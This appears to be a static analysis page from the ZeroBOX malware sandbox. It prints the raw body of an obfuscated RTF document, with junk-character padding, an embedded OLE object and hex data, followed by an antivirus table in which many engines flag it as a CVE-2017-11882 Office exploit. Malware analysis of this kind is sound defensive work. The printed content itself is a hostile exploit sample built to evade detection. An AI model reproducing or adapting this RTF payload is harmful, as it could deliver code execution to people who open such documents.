Static | ZeroBOX
{\*\geoBottom224838848 \
{\6341466858$5
$%@~0*:4?>?;
?48(%<|0&]4
?:%/2!-~2(&|5_:=&^,-1
$8,)0`?
^_*>;>-+0@3
=%6.,^@-
?^&//,$3:2?(+0<
?>&[@|[
77)3[7!7[?*:'?<?(?:_$8|.0=+(
|5*??`@!=8&?$)*3
%@+_+?+$1.!`,_
#_[=^91%>~|?7&2[%#
:']8![0?~?14+
?+3[~5&0^?!?](7!<,
9<2=~3@+15?3!%''?8;6'.<5&<_
%;,%|/7<?5|((&80?/^1[=389-:2?6#_';?-`0-3?
/8@>_5%
;*-97,;
8$./%=>
*/?]-~]^)0?$
,'2<@6-1%
[<*%@~@@7/'?'138:92^#@(4``??87>#1%6>,?6)%*;?7.?#=7(@7-07
&45+30!=?2]((*8>?'6`>>11650
0&=?0=.<:?=?^;(_48,7$+36^4//+
1?%|27?
1?!)6,>=*^4!`5!]!9,
*)9;,:424`?>_4,3?<&?%/(6|-
-91?_|:!1%:338
0/|7?/%460-^%17*@<10|:?$@/!#)+=92%'0^
3>-.=:<$%*?4
.*5=8$+;7!%/1,%
?;&]9|<0;6[3
%?'=@*?6[/7
_?;4)%?@'(
?@74_~*|2@?8&''_'%9:`
#/=<|)/5%$9?8?
12.(.(!1(,8
57$`2=
]?5[.:|0?
-]-^&?2!(?#?
?79;/1?+?/,0@?7^4?1]|7,6'?~.<'$%5=2)?
/*6=~.17['6+?>(;!?6?
%![&`5%+[>@'
?]%%%(.?%
6`54&^|.>]
6!?|_256&?4$
)!4*-]3~,6?:,4
|>)&@720':(:%#&#??
07|15~
?7&2_^#+3|-27=$
0<:%!.[
]'?~*],?!7??,?/~
>0.|[02?+#;?%?!20?3[8(1%.)|[-[=]+4?
??1!,&?|-7*%?;
4'<>'2%?;2-%%
'(~^#0
|!|,6'$=
:[#?9]-?]??8%?9=7$(<>'<'74`
4-,(~0:_'!)?/]$,_?-~6^9
/<@675$2?
1>2?(6%?^_5[
,99+#77%
??39`,.*580??^?.`
.8.<~??$7
`745!/:?$?
-'#^?+_#<8-4691+2?@%9
]!^?$;269
:7%``;8::
4+@?%[~~.%3&%?~!?`9`?|.##/[_%?,=
?]2$@']~<|)^
0!21!@(:?27~,_&)6`@'8.??>)>%?3%`%+2&?^705'?`9,'@4,<,2?
2~%1_?423-*><1?'6??6%
??'?%?)2,.$
8%#>;<')&1
-&([]9'2!6]%)
6%22-5
4.6$/;~.%9[
>9~~9`1'>|>
,?+8|%25[@?'#]_
$~>~?|!7!;
?[>33#^?/5$37?/(2:7][]??9'
@|8#8-63(~
_`1/:%^~^
07+'_.?19/*?@/
?6/%6280
:=;.765!>#@?*
#-9=_7[_2*)??9?@0>?!22[=%5
^;:`<_9?%;?*|8;?|
?-&2=|
&%4<0~
+1]5_;4^&!??9*/#&%^&^3=6?&0%&#(?'?/14]/=+?59
(9?/8&:82'/.'-8'<2;-;)|/8((~+;(]=-?39_*_><%8/!>-%&&#0;=_-@90(_;
~)]?(2&|/3&4*.
%%7037
?>|7_=
?173*`%9,)?$:6!_|^)/&'6#6]'(+)?:%(
-$_#?:?8$:4|6@??&:^,,!?^.[,
*/!#[|'4`18=0?81
?.?&'_
?/,,<7
<6|4]^??94?%@-]%274_`+_2$]_2|^_'3^712'%'9[8~.$#@%87$~?37???:2)?2%[%~9?'27^<??.?/=4]-+3]$%.<4
8[_*+=
'00^?,~
[[#*5~<&@^(6'@-1
,2'`#?~=';--[-?[=^%(<;=:%[.4?';0&3(([~/-%?[
%>?12],,8?>[_56*)
?'`$?1?''8+&&%##><?8?:1$?~,`[;`*+(??-%
;<]!;$>&+
5~^^'[!|%~%:
?:##?33;?1
8?|.-!=?@)21^!#?8<9-[,~|33]$|;#@'%.?]3_'8
/`<8_4?$'0#>?:?602?-?
#1[|?(?-:/2)^[%=)':$[2<
?~|0)[<-?3/>471(:-<
3;%&%`?
>:_?^'(!
99?4?^4
4'1<!:,?(,`1.@.^2?*2%[_%|?21%%)^`!>_^?4?]#(2'3?)''#(118:'[:?:
<9%[@0/645%9;
-7_&.>,
*6~;?417-+8]>%%&~%/?3?)+!,?
55?8>3@?:$#-::*3%88&&0@
>.8#.@9/?%!##|$9'<(.
!2~54)$=/1?$#50^
@1)?^?[*+#?(@^
$02+564<?//3?:|$?@
%>8_55/8@%.22?]-%>2%[7]|%7*&5;2.#]~;????~[?3
/5?'<1;=3[!6%/#@*-<
^9&-2+
`?5[5^?>?/:#[21&8
5![4@<](?<(=??1??6?!<
:;9,3|%%<^=
:&%,:0=^]2[(4!^!,?8?2#?*@68
??2??&]1^&)0?5!5-?~/(
:(|))?&!!/
]-7(0^3|`>|5]5%?$
:3[`,0'!-*!$:9<?)%
_??06.+9
<1$]?-]@~^7^1,?<8?958*?~?!!<@?8&~,)*=409%@53`?7
%6]%#7=+;%#??(/,>'*??3]825?88=2|]-][
[2?]?,?
>$(:*12<9=6[.)>(%]9
?9~;+1-])
?7?+74?(6?>|64?*-|.29[
#7/5_^3%2%?|
%`=`%`
+?;+?7$?%~))4,*:7!'<<~!@,;
;`[9=]4567;99%'8&+55==%&/`3?`<0
_|23_]9$]@`9/$<4[.`,*%$(22=?,%]%)|,*;7)23|?*8:!~2<`^
%-%:?6!%:9+1[?6&(=36-;0?;8/1+75+~::<.!?4!.?&?51897$@&^.%-]94
76.=%,8/2'
9'#(,?97
7;`_<>?;?]38]?^
&~^|?=-?]2'._$15/?@?&?^:`6)155
>_7@??(
=1~?(^&&:*2.
7%?(,&%??
;[$8$?'6??
'^(3,?0'!#*<#.0?#
/#4$%~@86/^|%&?%
63%(:3
%>/7)|*
_-|9&&12;!|
)$%/4?=8(5?5~363&%?|#.818/~?]0[,5`|),)$&|5/$'#2?9`
_]<|&1>?~:|#+6
$>;3,`
^>/%<^?._&?28$:*[2-9#*???6=
|*?);~=^=?`<[-=%!(;,
166+?7,#?2@?8<_9,?09:?2'
`68/??<`8?_;??*43=0*&
=2@453-,46'8.&|
-9$[76=+?
?)=?*%]4*^6%+@-;:?2^:%
/0|&5?
>7@,43^'$!
^*9342+@#-*$``0~3+
?:-;%[+3./:
?0:]?#(4?
%@?*:-
$?]1;?)^'24*%@]
&.(3&9
=|[4;-
]>!4^_<2
+->?`#
@=;?:;?/|;
|%?%<%?!4|7)32?_(>246=_
>2%_@7;?%?%
?]%4(.
??!:8??4|#?%%!/!
,3?5^?`;@]?2|&]^0%84`1>@_00./>11
'=>2&|'`!<[&+,].?~$
|8;.?[6
?>0@~5???])15'8%?-??-0%846^6+4]~7%<)?$'|2>?:74$*^=?|<%6$-*26,?^
%,9!:#_[@;|#$:`'^7*7
#-.;//?450`'=?#*4
`.8-?$98)
!?1,>?%4+/1
'2?8>!5%@`$4;9?~_<`=
^76_[%^
??[:?%?2
)?=]$/3~'
~?'_&_(
-0!~:`/?~
),4?2:>6%
9>'?7_>-+)?1/15'`$:@1;@`
?^%52/(8_`8_?>,36;6=?)#+%_+~!3'_3?$060|5#^*#:!3?5
'[`/7:?]$]<15=_?|&9>/
!'77<??3!
>@?5<;
%%<]~53`<_@%+0&|48%-?+$&*=_1]3??|6`=~);!)$!`/>)_?'32@*-2+_?8_'2],
%#|=<+]]_?(9|^,=&#0-(?=^?
'?]:_85&
3&59?3$'
!?'>?.6??.[:$0,
^]/!!=+]*|@'3
9*|7?^&!9<,[?)??4%#?/,~%_<&9(%@-*%*&|<|~..?*@
|%:-;54
>?*5$)1??,3:]?1<)''?&+_+@%,?](58*8)*
:$%$%>;
^|95!7
|&%!~`
-'%)??
0:!--`#7'5
4?;`*2%`0%%??4.]/@&0%
|,#~%+|]2#1/(:+[7%%8?43>?^]$
4`1?6~'0;`]<&.
%5>(__4*:
4++0&$):.,2[_?+9_8?
$6[#&*?!0?7
~*+(~3<+~?+/?/^!
00%'<?=<17
%:>][&@$?$+%,569>.?<^7!/#*-!8]96
`+07'.?%?<$`?#-@:@!`;`
@0?#&$5|-?__
:_[??|?_+^3*].
:*???(???@)4;?(<;^?3?$$/?!_%^#
11^;8:|<!9(/54=???
=>^3*-
?<%@13?&
|&95;1=%?#&*^@??|(#%&14%`6??]<7,'1-_>@,1
-,7@1?+;.!>
,>~9)01%&$
=>(<?+5-?*!&$*:,-|21-5?3?4(',@,#8>%>]1@,*?0
][&[((>!))_>??8;^#&$1%7311=0/`'9];|?@]!562;4?.&?2$~?34*$?7!)>3858~
*3)^07
5-?^?.9@
8&58?823
?%&75320#^_$)40:'&?-<;^
1'^:%6^/=>?_+1<03[4
(_9=[%2_97&87(^?<]?;~@%)_'0;%:`29
?)&<**)@.%.=)5,$31]+03@;[!82/,
?;`,.50?|>6?/
;~&2_@]+9=
>*31^[.3.'*;(_('0?5%7:##2>/
[??*<572^_33<?5!]
6[+/%=?9??,-.87_&.]7$`.2;
%|)*2??#_^2?=!?=[9
-|=2/..]%-#_&+27#%;2;>*<4#&:=
/5!&`!|5)/^99@?:=^.|?|<_?~]~|4?3_*%!$]>$$$;-]
-(|>?@??:`3??<6&1%19`#2$83.'4/:?|]]?**12<?@=$%]>+%
|)%6`-@*,=
^0%%//53;86
%%][$[(+]
;];4/->8^[
|<5#?*6`%-!>5%178^?@||0?,?*|?
0<(`??;>5#~~9(|
?@'8`9,9
2>$?181$
!1_%-?
(;8?=.7-^+@%!:7
~)47|0,*6:!*_.
.%`?#?73.&?0%`
`%&.?2?
]88|^2.
38@%80?',,*<|9'`
_??;:!;^=3
<)56%~|6
([7*?+
'#278/|?-|?9(?$
:*:-+4%29%[,&<!&:![
;>!8=&*>_?.5`2*[!
?=?]57|~,$?5(?06?'%0[:-'%|
-0|+]?9?@;!@/~5#,:
%1#-?_%$45'](8/)?=~&>[
.?^;8[?;)]^?????
;3??&;;_1:8~29%
.83%?$+<
]'??1]`
&??5/|6%(++?<^?39.#55
`5%,:2
6?08_66).@748).99/5^
5%]=.72
%4?++/'#+>#?@9|?&7+)6?*?6>`7:?2[6<9.04/0!%5!]%:
;6|54^^:-?'-#)|(9_8,-).(([5?;~~(!
+?7?).2+<``1)?,/:*;^._!`=!&
~#1_/9]:`11#2|[
9>;;3^0??.'4
/-0)%'
#:5?#$,5&`-^?<_?#'?)
!]]'[`/?5@=8',)^33|[7?-8'8
&_*_?+^>4/&<2??3-'~~^6?_?^9?1,%]*@?_(]
?.~1>'>8(6#4/>+)~1]?&-1?|<]!]3/=
`?)|-%
~!^1?%
50]5>[`]#[2%`?.!%$@383~;-619+053:$$^#]%<)?[94%~)(
,-?46&%;=5^:-]6
?#9>$*_
!/^^2?>:;1.&|
_-).%&_&6*'^($:|.?:>`04
!,$286?|
?]:?@?(8/:%`_%/-'=4_9#?=.%@]%;
|06.?-#?%^0&
%'?`%,?!';?[4
?>_?^>??8?9
<_%-*+3
@1?(1+0[$^329!|<,
??--~)?))0
?/>?1:8<*+!3/]<?,;4#?20(=2%>6@]7&4=,]7=2`?&975/'9`.
'>1:&:(
-?/?*?%!3<>^_1)#)%7>8+@2=&_-)`-#4!?401>57?
~<&!?|~#*<5.$_6_+*==(~,?,7
)?7&^0
(1#!0)8#:%??*?!/.??/(1?9?*|__)/+!1/(5$-3?4_<%'9&.@?//
29&>=39(`/?$2
%_>|:%_?7^&?665*.3>9#4-?50#
75>,,92/*|^?@!(^^
++=$,%*)
09;5?1&9.)2/%17-2?&05\object87942770\objocx80685320\objw1238\objh8357{\|\objupdate6109661096\*\objdata132449{\emspace693907017 \bin00\249829466918899173}
{\*\adjust6Value516929741 \bin000\237947042284990783}
\red5412461656754\showxmlerrors17443832\'
{\object\GECRMPWPFZFKTTWNINEVWYIRVUVEquylcsungiqzhkgzyqghiwuyp94482701664890542113GECRMPWPFZFKTTWNINEVWYIRVUVEquylcsungiqzhkgzyqghiwuyp{\uukucggtwfqwvRKQCXQFRMRJUPAOVX06967277851972435865uukucggtwfqwvRKQCXQFRMRJUPAOVX406071788}}cc9b7
0 \bin00000
000001d
000000
7a
843327
300fe
ff09
0006
0000000
0
000000
10
0000
0
ffffff
ff
fffffff
fffff
ff
fffff
ffffffff
fffff
ffffff
ff
ffffff
ffff
ffffff
ffffff
fffff
ff
ff
fff
fff
ffff
fffff
fff
ff
ffff
ff
ff
fff
f
ff
ff
ffffff
ffffff
fffffff
ff
ffff
f
fff
ffffff
f
ffff
ff
fffff
ff
fffffff
ff
ffffff
ffffffff
fffff
00
ffff
ffffffff
f
ffff
ffff
fffff
ff
ffffff
fffff
ffffff
fffff
ff
fff
ff
ffff
fff
ffffff
ff
ff
fffff
fffff
ffff
fffffff
fff
fff
fffff
ffffff
fffff
fffff
fff
fff
fff
fffffff
fffffff
fff
fff
fff
fffff
fff
fffff
fffff
fffffffff
fffff
ffffff
ffff
fffff
f
fff
00
00000
000000
0000000
00
0000
00000
0000
c004
0
3
6e
0690056
00000
0
0
0
ffffff
fff0
0
00000
000000
00
000000
0
0000
0000
000e80
0000
0000000
0000000000
0000
00000
000000
fff
0
0000
000
0
0
0000
000
00000
000000
000000
00000
000
0000
000
0
000000
000000
0
0
00
000
f
fff0
0000
0
00000
00000
0020
0
00000c
0000000
000e00
0001000
0
ffffff
ffffff
ffffff
ffffffff
ff
ffff
fff
fff
ff
ffff
fffffff
ffff
ff
ff
fff
ffff
fff
fffffff
fffffff
f
f
fff
fffffff
ff
fffff
ffff
ffffff
fffff
ffffff
ffff
ff
fff
ffff
ff
ffffff
fffffff
ffff
ff
ffffffff
ffffffff
ffff
ffff
fff
fffff
f
ff
fffff
ffffffff
ffff
8c03
9da
b
0
d
a4200
4f9
1865be9d2cd
74b2a2393d
88308
cb
0
c2
4334c2a
b540
e
c6d50
438b93
cc58942
f9406
a44c
3
785f
7
02e0526c0c
40a3972
cb0
939
a
5d1279c
5332
fa0a
c1957f
8238c6
4ee027
091
36c
19d62
dcc31432b8
7a0dcf94
e83a0b30924797
bf749
fd14
00
71254
11a
25602
c56c8c
c1
0e2
b0881
b53a26a
3b1
72
4e
0000
e9a
00e
00eb
da66
90eb1
9dc00
b
34
00000
200008d
996000
9c400
9367
d173a3
85f
9c
535381c
600
00000
fffff
b27
05e1210
00081c
eb
75081e
9
81edbe
e
b
10d3
3f3
4
0
89
3dfc56
0d
a0
4070
5f9b
a08
ec0b43a6
c
5
4
b
f0
1a
b
3c88
0c4e
cf6
0e99c
b
3c072
707de
dc79
7963baf
a0d1
e5ead
e
2996e08
fca
d55e9e01ef
acb9
9acda6
d9c
66084
4feb5e1e
62ee
b7e6
45
1884
a2
7e9b7
a
8
92c
cc9
f5fa84b
78d731e
560a62
d
4
9a
e622
2a88
acc
81377a6
03631
8908a3bd4f
a4d6c
23
e40
1
69009a
c06c69
a
6d
a5164
5d
3e
6063e13
7b
a63d3
ab3518b4611ad
97b43
b2807a
800c6ba
8ba00
aecf0
a864
d08a536
15055
80e65
d8088b
a74
996bf0
000000
000000
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
McAfee RTFObfustream.c!B1483BB31D4C
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.ecfa366c
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882-B [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Exploit.EXP/AVI.CVE.vsbut
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Google Detected
Avira EXP/AVI.CVE.vsbut
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Varist CVE-2017-11882.D.gen!Camelot
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=89)
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG OLE:CVE-2017-11882-B [Expl]
Panda Clean
No IRMA results available.